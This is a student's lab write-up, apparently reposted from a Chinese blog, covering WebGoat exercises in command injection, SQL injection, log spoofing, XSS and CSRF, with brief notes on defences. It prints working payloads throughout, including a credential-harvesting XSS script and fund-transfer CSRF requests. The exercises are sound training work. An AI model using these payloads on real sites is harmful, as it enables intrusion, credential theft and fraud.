zoukankan      html  css  js  c++  java
  • Exp9 Web安全基础 20165110

    Exp9 Web安全基础 20165110

    一、实验要求

    本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

    二、实验具体步骤

    前期准备

    1.安装WebGoat

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。
    

    下载安装包

    下载过程奇慢无比还老是报错,我都怀疑是github在制裁我了。。。

    2.查看8080端口是否被占用

    netstat -tupln | grep 8080

    如图所示我的8080端口未被占用,如果8080端口被占用则通过指令
    kill 进程号来接触占用

    3.查看JDK版本

    java -version

    4.开启WebGoat

    java -jar webgoat-container-7.0-war-exec.jar

    注意要等到Starting ProtocolHandler ["http-bio-8080"]消息出现才可以继续访问相应的网页

    5.打开WebGoat

    在浏览器中输入网站http://localhost:8080/WebGoat(页面下方有相应的用户名和密码,在本实验中我选择的是以guest方式进入WebGoat)

    登录成功后即可开始接下来的实验了

    SQL注入攻击

    1.命令注入(Command Injection)

    目标:能够在目标主机上执行任何系统命令。
    

    在正常情况下点击view返回界面

    根据课程提示我们找到相应的代码
    (Injection Flaws-->Command Injection 右击复选框选择最下面一栏中的inspect Element 找到第一条option中,在后面添加“netstat -an & ipconfig”)

    点击view,查看返回结果

    攻击成功

    “netstat -an & ipconfig”指令为查看网络端口情况和返回IP地址

    2.数字型SQL(Numeric SQL Injection)

    要求:下表允许用户查看天气数据。尝试插入一个导致所有天气数据显示的SQL字符串。
    

    选择Injection Flaws 下的Numeric SQL Injection
    右击复选框选择inspect Element
    将源代码中的
    value="101"
    修改为
    value="101 or 1=1"

    点击Go按钮

    攻击成功

    3.日志欺骗((Log Spoofing)

    灰色区域表示Web服务器日志文件中要记录的内容。
    
    目标:是让它像用户名“admin”一样成功登录。
    
    方法:通过向日志文件添加脚本提升攻击。
    

    选择Injection Flaws 下的Log Spoofing
    在User Name框中填入webgoat%0d%0aLogin Succeeded for username: admin其中0D%为回车,%0A为换行符
    该指令的意思是以两行形式将登录信息写入的日志中

    随意输入相关密码,点击login
    可以得到下面的结果

    攻击成功

    4.字符串型注入(String SQL Injection)

    允许用户查看其信用卡号码。
    要求:尝试插入一个SQL字符串,以显示所有信用卡号码。
    方法:试试“smith”的用户名。
    

    选择Injection Flaws 下的String SQL Injection

    输入需要查询的用户名Smith' or 1=1--该句总我们使用了--注释了后面的SQL语句,并且加入了1=1这样一个永真式,将SQL语句变为了
    SELECT * FROM user_data WHERE (该判断是个永真式)
    该语句相当于将user_data表中所有的数据都查询出来。
    可以发现点击Go后,可以查询到select表中所有的数据

    5.LAB(SQL Injection)

    使用字符串SQL注入绕过身份验证。
    使用SQL注入以boss(“neville”)身份登录,而不使用正确的密码。
    
    

    首先对密码框中允许输入的大小长度进行修改

    输入' or 1=1'--

    可成功登录

    6.数据库后门(Database Backdoors)

    使用字符串SQL注入来执行多个SQL语句。
    

    首先查看SQL语句的情况,输入题目中的提示101,可以看到相应的SQL语句

    输入语句101; update employee set salary=1000
    该SQL语句意思为:将所有员工的薪水修改为1000,101和update中添加分号;相当于执行了两条SQL语句

    设置触发器

    101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
    

    由于WebGoat 使用的是MySQL数据库,不支持触发器,因此该课程并不能在这里真正实现。

    7.数字型盲注入(Blind Numeric SQL Injection)

    目标:在表pin中查找CCU编号为111122223334444的行的字段pin值。字段的类型为int,它是一个整数。
    

    通过AND来构造相关语句来猜测pin值

    eg.101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
    

    可以发现该值并不有效
    通过逐步构造语句来缩小猜测范围直至找到正确的pin值

    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
    

    此时返回帐号有效

    在框中输入2346提交

    攻击成功

    8.字符串型盲注入(Blind String SQL Injection)

    目标是在表pins中查找cc_编号为4321432143214321的行的字段名的值。字段的类型为varchar,它是一个字符串。
    注意:区分大小写!
    

    此处查询的字段是一个字符串,可以构造与上一届类似的SQL语句来找寻pi字段值

    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'I' );
    

    SQL 语句中使用了SUBSTRING方法,判断pin中的第一个字符是否比I小

    通过不断缩短范围,直至猜出pin字段的值Jill

    提交该值

    攻击成功

    XSS攻击

    1. 跨站脚本钓鱼攻击( Phishing with XSS)

    向请求凭据的对象插入HTML
    
    添加javascript以实际收集凭据
    
    

    普通用户名密码框的提交表单为:

    可以在页面下方看到一个新增加的表单(我也不知道为什么它是黑的。。。)

    再在其中添加一段脚本:

    <script>
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    


    攻击成功!
    这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

    将两段代码合并搜索:

    <script>
    function hack()
    { 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    } 
    </script>
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>
    

    WebGoat会将输入的信息捕获并反馈到屏幕上。

    2. 跨站脚本钓鱼攻击(Phishing with XSS )

    目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
    

    在Message框中构造相应的语句

    <script>alert("20165110 attack succeed!");</script>
    

    Title任意输入,我的输入是20165110
    提交后可以看到新创建的一个文件20165110

    点击该文件,弹出一个相应的对话框,该对话框中的文字为刚才输入的脚本中的字符串

    攻击成功

    4.反射型XSS攻击(Reflected XSS Attacks)

    XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
    

    Enter your three digit access code:框中输入<script>alert("Hello orange !");</script>
    点击按钮Purchase,可以弹出相应的警示框,内容为输入脚本中的字符串内容。

    攻击成功

    CSRF攻击

    1.Cross Site Request Forgery(CSRF)

    CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
    

    点击XSS-->Cross Site Request Forgery(CSRF)
    查看页面下方的相应参数值(我在改攻击页面下是src:510 menu:900)

    在Message框中输入:

    <img src="http://localhost:8080/WebGoat/attack?Screen=510&menu=900&transferFunds=5000" width="1" height="1" />
    

    该段脚本意为将图片以URL形式放入Message框中,用户一旦点击图片就会触发一个CSRF事件,点击Submit提交(语句中的&transferFunds=5000,以为从受害人账户中转走的金额,

    设置成1像素的目的是为了隐藏该图片)

    输入任意Title提交后没在Message List中生成以Title命名的消息。点击该消息,页面中就会下载这个消息,同时会转走用户的5000原,达到了CRSF攻击的目的

    2. CSRF Prompt By-Pass

    点击XSS-->CSRF Prompt By-Pass
    首先产看相应的参数值
    该攻击页面中src=511 menu=900,输入任意的Title(20165110)在Message框中输入相应的代码

    <iframe src="attack?Screen=511&menu=900&transferFunds=4000"> </iframe>
    <iframe src="attack?Screen=511&menu=900&transferFunds=CONFIRM"> </iframe>
    

    构造CSRF攻击,包括两个请求,一是转账请求,二是确认转账成功请求。即需要额外传递两个参数给服务器(transferFunds=4000 , transferFunds=CONFIRM)
    即攻击分成了两步:一步是输入转账数目,一步是确认。
    点击Submit生成以Title命名的连接,点击链接,即可以攻击成功。

    三、基础问题回答

    1.SQL注入攻击原理,如何防御

    答:

    原理:

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
    防御方式:

    由于用户名和密码框的输入是有固定格式的变量,故在SQL语句执行前,首先按照规定模式核查输入的合法性。同时,过滤特殊字符,如:单引号(')、双引号(")、反斜杠()、井号(#)、NULL等,此类可能会导致使本应被正常执行的SQL语句被注释,或者不能正常运行的特殊符号。

    2.XSS攻击原理,如何防御

    答:

    原理:

    是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

    防御方式:

    1)在表单提交或者url参数传递前,对需要的参数进行过滤

    2)检查用户输入的内容中是否有非法内容(比方说检查输入中是否含有脚本内容)

    3.CSRF攻击原理,如何防御

    答:

    原理:

    攻击者借用用户的身份,向服务器端发送请求,但是该请求并不是用户本人发送的,而是由第三方假冒用户发送的,所以称为“跨站请求伪造”。CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF可以看做是XSS攻击的一种。

    防御方式:

    1)严格限制Cookie的适用范围

    2)尽量不在页面链接中明文传输用户的隐私信息,对于用户增删改等操作都是用POST

    四、实验总结和体会

    本次实验是在一个已经搭建好了的架构平台上完成的,通过修改其中的部分内容来实现攻击,我觉得非常的有意思,网站中包含很多的攻击我都没有尝试过,有时间一定要再去看一看。。。

  • 相关阅读:
    Django 聚合与查询集API实现侧边栏
    Django 利用管理器实现文章归档
    Django 查询集简述
    Django 利用 Pagination 简单分页
    Django配置富文本编辑器kindeditor
    php课程---JavaScript与Jquery的区别(转)
    ajax——用ajax写用户注册
    ajax——用ajax写登陆页面
    jQuery——实现弹窗
    jQuery和JS对比
  • 原文地址:https://www.cnblogs.com/20165110shiyu/p/10927282.html
Copyright © 2011-2022 走看看